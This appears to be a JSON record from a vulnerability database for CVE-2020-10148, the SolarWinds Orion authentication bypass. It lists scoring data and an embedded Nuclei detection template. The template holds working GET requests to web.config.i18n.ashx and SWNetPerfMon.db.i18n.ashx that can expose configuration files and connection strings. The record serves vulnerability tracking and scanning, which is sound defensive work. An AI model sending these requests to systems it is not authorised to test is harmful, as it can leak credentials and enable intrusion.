{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-10148/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-10148/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-10148/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-10148/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-10148/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-10148"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-10148"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.9198,
      "kev": true,
      "percentile": 0.99816
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2020/CVE-2020-10148.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2020-10148\n\ninfo:\n  name: SolarWinds Orion API - Auth Bypass\n  author: dwisiswant0\n  severity: critical\n  description: |\n    SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the SolarWinds Orion system.\n  remediation: |\n    Apply the necessary patches or updates provided by SolarWinds to fix the authentication bypass vulnerability.\n  reference:\n    - https://kb.cert.org/vuls/id/843464\n    - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml\n    - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965\n    - https://twitter.com/0xsha/status/1343800953946787847\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-10148\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-10148\n    cwe-id: CWE-287,CWE-288\n    epss-score: 0.9198\n    epss-percentile: 0.99816\n    cpe: cpe:2.3:a:solarwinds:orion_platform:2019.4:hotfix5:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: solarwinds\n    product: orion_platform\n  tags: cve2020,cve,solarwinds,rce,auth-bypass,kev,vkev,vuln\nvariables:\n  string: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}\"\n      - \"{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"SolarWinds.Orion.Core.\"\n          - \"Connection String\"\n        condition: or\n\n      - type: word\n        part: header\n        words:\n          - \"text/plain\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100933d35e1048595190732e73b43f22436058e1309a0efb204911fabd1813d5b26022055c490d6878aceae7802a38b50427754231edf0f656022bf3892aa9346d7074d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2020-10148"
}